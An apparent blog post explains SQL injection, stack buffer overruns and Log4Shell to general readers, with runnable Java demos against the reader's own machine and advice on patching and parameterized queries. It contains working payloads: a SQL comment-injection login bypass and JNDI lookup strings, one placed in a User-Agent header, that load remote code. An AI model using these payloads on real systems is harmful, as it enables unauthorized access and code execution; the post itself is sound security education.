Once upon a time, hacking was easy and cheap entertainment, and we did it all the time:

• Microsoft’s web server used to just pass URLs through to the file system, so often you could just add “::$DATA” to the end of a URL and read source code.
• Web server directory browsing was usually enabled, making it super-easy to troll around for config files, backups or other goodies.
• SQL injection bugs (more on this later) were rampant.
• A shocking number of servers exposed unsecured pages like /env.php and /test.php.
• …and many more.

The arms race has spiraled higher and higher since those simple happy days. Today, truly novel technical hacks are pretty rare, but the double-threat of social engineering (phishing, etc.) and sloppy patch management (servers left running with known vulnerabilities) is as common as ever, and so the dance goes on. As I understand it, most of the successful attacks currently being executed by Anonymous against Russia (and frankly bully for that good work) are just old scripts running against poorly-maintained servers. It’s more about saturating the attack space than finding new vulnerabilities.

But per the usual, it’s the technical side that I find endlessly fascinating. And since there’s a pretty big gap between what gets reported on the news (“The Log4j security flaw could impact the entire internet”) and in the security forums (“Apache Log4j2 2.0-beta9 through 2.15.0 excluding security releases 2.12.2, 2.12.3, and 2.3.1 – JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints”), I thought it’d be fun to try to help normal humans understand what’s going on.

Most non-social hacks involve an attacker entering data into a system (using input fields, URLs, etc.) that ends up being executed as code inside that system. Once it’s inside a trusted process, code can do pretty much anything — read and write files, update the environment, make network calls, all kinds of bad stuff. There are approaches to limit the damage, but in most cases it’s Game Over.

Folks trying to hack a particular system will first try to understand the attack surface — that is, all of the ways users can provide input to the system. These can be totally legitimate channels, like a login form on a web site; or accidental ones, like administrative network ports exposed to the public network. Armed with this inventory, hackers attempt to craft data values that allow them to inject and execute code inside the process.

I’m going to dig into three versions of that pattern: SQL Injections, stack-based buffer overruns, and the current bugaboo Log4Shell. There’s a lot here and it’s definitely too long, but I was having too much fun to stop. That said, each of the sections stands alone, so if you have a favorite exploit feel free to jump around!

Note: I am providing real code for two of these; you can totally run it yourself and I hope you will. And before you freak out — nothing I am sharing is remotely novel to the Bad Guys out there. I may have lost some of my Libertarian leanings over the past few years, but I still believe that trying to protect people by hiding facts or knowledge never, ever, ever turns out well in the end. It just cedes power to the wrong side.

1. The Easy One (SQL Injection)

Most of the websites you use every day store their information in databases, or more specifically structured databases that are accessed using a language called SQL. A SQL database keeps information in “tables” which are basically just Excel worksheets — two-dimensional grids in which each row represents an item and each column represents some feature of that item. For example, most systems will have a “users” table that keeps one row for every authorized user. Something like this:

Actually nobody really stores passwords like this unless they are monumentally stupid. And real databases typically contain a bunch of tables with complex relationships between them. But neither of these are important for our purposes here, so I’ve simplified a bit.

Anyways, “SQL” is the language used to add, update and retrieve data in these tables. To retrieve data, you construct a “select” command that specifies which columns and rows you wish to see. For example, if I want to find the email addresses of all administrators in the system, I might execute a command like this:

select email from users where is_admin = true;

Now let’s imagine we’re implementing a login page for a web site. We build an HTML form that has text boxes to enter “username” and “password,” and a “submit” button that sends them to our server. The server then constructs and runs a query such as the following:

select user from users where user = 'USERNAME' and pw = 'PASSWORD'

where USERNAME and PASSWORD represent the values provided by the user. If those values match a row in the database, that row will be returned, and we can grant the user access to the system. If not, zero rows will be returned, and we should instead return a “login failed” error message.

Most websites use something very much like this to manage access. It’s a classic situation in which data (the USERNAME and PASSWORD values) are mixed with code (the rest of the SQL query). As a hacker, is it possible for us to construct data that will change the behavior of the code around it? It turns out that the answer is absolutely yes, unless the developer has taken certain precautions. Let’s see how that works.

Sql.java uses “JDBC” and a (very nice) SQL database called “MySQL” to demonstrate an injection attack. On a system that has git, maven and a JDK installed, build this code as follows:

git clone https://github.com/seanno/shutdownhook.git
cd shutdownhook/hack
mvn clean package

Once built, it creates a table like the one above; you can simulate login attempts like this (using whatever values you like for the user and pass parameters at the end):

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlbad user2 pass2
Logged in as user: user2

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlbad user2 nope
Login failed.

The code that constructs the query is at line 47; a simple call to String.format() that inserts the provided username and password into a template SQL string:

String sql = String.format("select user from u where user = '%s' and pw = '%s'", user, password);

So far so good, but watch what happens if we use some slightly unusual parameters:

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlbad "user2' --" nope
Logged in as user: user2

Oh my. Even thought we provided an incorrect password, we were able to trick the system into logging us in as user2 (an administrator no less). To understand how this happened, you need to know that SQL commands can contain “comments.” Any characters following “--” in a line of SQL are simply ignored by the interpreter. So if you apply these new input values to the String.format() call, the result is:

select user from u where user = 'user2' -- and pw = 'nope'

Our carefully constructed data values terminate the first input string and then causes the rest of the command to be ignored as a comment. Since the command now asks for all rows where user = 'user2' without any reference to the password, the row is faithfully returned, and login is granted. Of course, a hack like this requires knowledge of the query in which the input values will be placed — but thanks to the use of common code and patterns across systems, that is rarely a significant barrier to success.

Fortunately, JDBC (like every SQL library) provides a way for us to prevent attacks like this. The alternate code at line 72 lets us breathe easy again (note we’re specifying sqlgood instead of sqlbad as the first parameter):

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlgood "user2' --" passX
Login failed.

Whew! Instead of directly inserting the values into the command, this code uses a “parameterized statement” with placeholders that enable JDBC to construct the final query. These statements “escape” input values so that special characters like the single-quote and comment markers are not erroneously interpreted as code. Some people choose to implement this escaping behavior themselves, but trust me, you don’t want to play that game and get it wrong.

SQL injection was one of the first really “accessible” vulnerabilities — easy to perform and with a big potential payoff. And despite being super-easy to mitigate, it’s still one of the most common ways bad guys get into websites. Crazy.

2. The Grand-Daddy (Buffer Overrun)

In the early 2000s it seemed like every other day somebody found a new buffer overrun bug, usually in Windows or some other Microsoft product (this list isn’t all buffer exploits, but it does give you a sense of the magnitude of the problem). Was that because the code was just bad, or because Windows had such dominant market share that it was the juiciest target? Probably a bit of both. Anyways, at least to me, buffer overrun exploits are some of the most technically interesting hacks out there.

That said, there’s a lot of really grotty code behind them, and modern operating systems make them a lot harder to execute (a good thing). So instead of building a fully-running exploit in this section, I’m going to just talk us through it.

For the type of buffer overrun we’ll dig into, it’s important to understand how a “call stack” works. Programs are built out of “functions” which are small bits of code that each do a particular thing. Functions are given space to store their stuff (local variables) and can call other functions that help them accomplish their purpose. For example, a “stringCopy” function might call a “stringLength” function to figure out how many characters need to be moved. This chain of functions is managed using a data structure called a “call stack” and some magic pointers called “registers”. The stack when function1 is running looks something like this:

The red and green bits make up the “stack frame” for the currently-running function (i.e., function1). The RBP register (in x64 systems) always points to the current stack frame. The first thing in the frame (the red part) is a pointer to the frame for the previous function (not shown) that called function1. The other stuff in the frame (the green part) is where function1’s local variables are stored.

When function1 calls out to function2, a few things happen:

1. The address of the next instruction in function1 is pushed onto the top of the stack (blue below). This is where execution will resume in function1 after function2 completes.
2. The current value of RBP is pushed onto the top of the stack (red above blue below).
3. The RBP register is set to point at this new location on the stack. This “chain” from RBP to RBP lets the system quickly restore things for function1 when function2 completes.
4. The RSP register is set to point just beyond the amount of space required for function2’s local variables. This is just housekeeping so we know where to do this dance again in case function2 also makes function calls.
5. Execution starts at the beginning of function2.

I left out some things there, like the way parameters are passed to functions, but it’s good enough. At this point our stack looks like this:

Now, let’s assume that function2 looks something like this (in C, because buffer overruns usually happen in languages like C that have fewer guard rails):

void function2(char *input) {
    char[10] buffer;
    strcpy(buffer, input);
    /* do something with buffer */
    return;
}

If the input string is less than 10 characters (9 + a terminating null), everything is fine. But what happens if input is longer than this? The strcpy function happily copies over characters until it finds the null terminator, so it will just keep on copying past the space allocated for buffer and destroy anything beyond that in the stack — writing over the saved RBP value, over the return address, maybe even into the local variables further down:

Typically a bug like this just crashes the program, because when function2 returns to its caller, the return address it uses (again in blue, now overwritten by yellow) is now garbage and almost certainly doesn’t point at legitimate code. Back in the good old days before hackers got creative, that was the end of it. A bummer, something to fix, but not a huge deal.

But it turns out that if you know a bug like this exists, you can (carefully) construct an input string that can do very bad things indeed. Your malicious input data must have two special properties:

First, it needs to contain “shellcode” — hacker jargon for a sequence of bytes that is actually code (more specifically, opcodes for the targeted platform) that does your dirty work. Shellcode needs to be pretty small, so usually it just “bootstraps” the real hack. For example, common shellcode downloads and runs a much larger code package from a well-known network server owned by the hacker. The really tricky thing about building shellcode is that it can’t contain any null bytes, because it has to be a valid C string. Most hackers just reuse shellcode that somebody else wrote, which honestly seems less than sporting.

Second, it needs to be constructed so that the bytes that overwrite the return address (blue) point to the shellcode. When function2 completes, the system will dutifully start executing the code pointed to by this location. Doing this was traditionally feasible because the bottom of the stack always starts at a fixed, known address. It follows that whenever function2 is called in a particular context, the value of RBP should be the same as well. So theoretically you could build a fixed input string that looks like the yellow here:

p0wnd! So now we’re hackers, right? Well, not quite. First, finding that fixed address is quite complicated — I won’t go any further down that rabbit hole except to say that whoever figured out noop sleds was brilliant. But much worse for our visions of world domination, today’s operating systems pick a random starting address for the stack each time a process runs, rendering all that work to figure out the magic address useless. For that matter, C compilers now are much better about adding code to detect overruns before they can do damage anyways, so we may not even have gotten that far. But still, pretty cool.

3. The Latest One (Log4Shell)

Last mile folks, I promise — and I hope you’re still with me, because this last hack is a fun one and it’s easy to run yourself. Tons and tons and tons of apps were vulnerable to Log4Shell when it burst onto the scene just a few months ago. This is kind of sad, because it means that we’re all running some pretty old code. But I guess that’s the way the world works, and why there is still a market for COBOL and FORTRAN developers.

It all starts with “logging.” Software systems can be pretty complicated, so it’s useful to have some kind of trail that helps you see what is (or was) happening inside them. There are a few ways of doing this, but the old standby is simply logging — adding code to the system that writes out status messages along the way. This is particularly useful when you’re trying to understand systems in production — e.g., when a user calls and says “I tried to upload a file this morning and it crashed,” reviewing the log history from the time when this happened might give you some insight into what really went wrong.

This seems pretty straightforward, and in fact the JDK natively supports a pretty serviceable set of logging APIs. But of course things never stay simple:

• Adding logs has a performance impact, so we’d like a way to turn them on or off at runtime, both in terms of the severity of the message (e.g., the difference between very verbose debugging logs and critical error information) and where it comes from (e.g., you might want to turn on logs for just outbound HTTP messages).
• It’d be nice to control where the log data is saved — a file, a database, a service like Sumo Logic (there is a whole industry around this), whatever.
• Logs can get pretty big so some kind of rotation or archive strategy would be helpful.
• The native stuff is slow in some cases, and configuration is unwieldy, and so on.
• Developers just really like writing developer tools (me too).

A bunch of libraries sprung up to address these gaps — and especially with the advent of dependency-management tools like Maven, the Apache Log4j project quickly became basically ubiquitous in Java applications. As a rule I try to avoid dependencies, but there are some good reasons to accept this one. So it’s everywhere. Like, everywhere. And because it’s used so commonly and serves so many scenarios, Log4j has grown into quite a beast — most folks use a tiny fraction of its features. And that’s kind of fine, except when it’s not.

OK. This one is pretty satisfying to run yourself. First, clone and build the hack app I described in the SQL Injection section earlier. The app includes an old Log4j version that contains the vulnerability, and lets you play with various log messages like this (I’ll explain the trustURLCodebase thing in a bit):

$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
    -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar com.shutdownhook.hack.App \
    log 'yo dawg'
11:35:25.029 [main] ERROR com.shutdownhook.hack.Logs - yo dawg

The app uses the default Log4j configuration that adds a timestamp and some other metadata to the message and outputs to the console. Pretty simple so far. Now, one of those features in Log4j is the ability to add specially-formatted tokens in a message that include dynamic data in the output. So for example:

$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
    -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar com.shutdownhook.hack.App \
    log 'user = ${env:USER}, java = ${java:version}'
11:42:31.358 [main] ERROR com.shutdownhook.hack.Logs - user = sean, java = Java version 11.0.13

The first token there looks up the environment variable “USER” and inserts the value found (sean). The second one inserts the currently-running Java version. Kind of cool. There are a bunch of different lookup types, and you can add your own too.

If you’re guessing that the source of our hack might be in a lookup, you nailed it. The “JNDI” lookup dynamically loads objects by name from a local or remote directory service. This kind of thing is common in enterprise Java applications — serialized objects are pushed across network wires and reconstituted in other processes. There are a few flavors of how a JNDI lookup can work, but this one in particular works well for our hack:

• The JDNI lookup references an object stored in a remote LDAP directory server.
• The entry in LDAP indicates that the object is a “javaNamingReference;” that the class and factory name is “Attack;” and that the code for these objects can be found at a particular URL.
• Log4j downloads the code from that URL, instantiates the factory object, calls its “getObjectReference” method, and calls “toString” on the returned object.
• Boom! Because the code can be downloaded from any URL, if an attacker can trick you into logging a message of their choosing, they can quite easily bootstrap their way into your process. Their toString method can do basically anything it wants.

This is way more impressive when you see it in action. To do that, you’ll need an LDAP server to host the poisoned directory entry. The simplest way I’ve found to do this is by downloading the UnboundID LDAP SDK for Java, which comes with a command-line tool called in-memory-directory-server. Assuming you are still in the “hack” directory where you built the code for this article, this command will put you in business:

PATH_TO_UNBOUNDID_SDK/tools/in-memory-directory-server \
    --baseDN "o=JNDIHack" --port 1234 --ldifFile attack/attack.ldif

You also need an HTTP server hosting the Attack.class binary. In order to keep things simple, I’ve posted a version up on Azure and set javaCodeBase in attack.ldif to point there. Generally though, you shouldn’t be running binaries that are sitting randomly out on the net, even when they were put there by somebody as upstanding and trustworthy as myself. If you want to avoid that, just compile Attack.java with “javac Attack.java,” put the resulting class file up on any web server you control, and update line 13 in attack.ldif to point there instead.

With the attacker-controlled LDAP and HTTP servers running, execute the hack app with an embedded JNDI lookup in the message:

$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
    -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar com.shutdownhook.hack.App \
    log '${jndi:ldap://127.0.0.1:1234/cn%3dAttack%2cou%3dObjects%2co%3dJNDIHack}'
12:22:25.857 [main] ERROR com.shutdownhook.hack.Logs - nothing to see here

And now the kicker:

$ ls -l /tmp/L33T*
-rw------- 1 sean sean 0 Apr  7 12:22 /tmp/L33T-15518763719698030164-shutdownhook

Dang son, now that’s a hack. Simply by logging a completely legit data string, I can force any code from anywhere on the Internet to run in your JVM. The code that returned “nothing to see here” and created a file in your /tmp directory lives right here. Remember that the code runs with full privileges to the process and can do anything it wants. And unlike shellcode, it doesn’t even have to be clever. Yikes.

One caveat: we’re definitely cheating by setting the parameter com.sun.jndi.ldap.object.trustURLCodebase to true. For a long time now (specifically since version 8u191) Java has disabled this behavior by default. So folks running new versions of Java generally weren’t vulnerable to this exact version of the exploit. Unfortunately, it still works for locally sourced classes, and hackers were able to find some commonly-available code that they could trick into bad behavior too. The best description of this that I’ve seen is in the “Exploiting JNDI injections in JDK 1.8.0_191+” section of this article.

But wait a second, there’s one more problem. In my demonstration, we chose the string that gets logged! This doesn’t seem fair either — log messages are created by the application developer, not the end user, so how did the Bad Guys cause those poisoned logs to be sent to Log4j in the first place? This brings us right back to the overarching theme: most effective hacks come from code hiding in input data, and sometimes those input channels aren’t completely obvious.

For example, when your web browser makes a request to a web server, it silently includes a “header” value named “User-Agent” that identifies the browser type and version. Even today, many website bugs are caused by incompatibilities from browser to browser, so web servers almost always log this User-Agent value for debugging purposes. But anyone can make a web request, and they can set the User-Agent field to anything they like.

Smells like disaster for the Good Guys. If we send a User-Agent header like “MyBrowser ${jndi:ldap://127.0.0.1:1234/cn%3dAttack%2cou%3dObjects%2co%3dJNDIHack}”, that string will very very likely be logged, which will kick off the exact remote class loading issue we demonstrated before. And with just a little understanding of how web servers work, you can come up with a ton of other places that will land your poisoned message into logging output. Bummer dude.

And, scene.

That’s probably enough of this for now. Two takeaways:

1. For the love of Pete — control your dependencies, have a patching strategy and hire a white hat company to do a penetration test of your network. Don’t think you’re too small to be a target; everyone is a target.
2. There is just something incredibly compelling about a good hack — figuring out how to make a machine do something it wasn’t designed to do is, plain and simple, good fun. And it will make you a better engineer too. Just don’t give in to the dark side.

As always, feel free to ping me if you have any trouble with the code, find a bug or just have something interesting to say — would love to hear it. Until next time!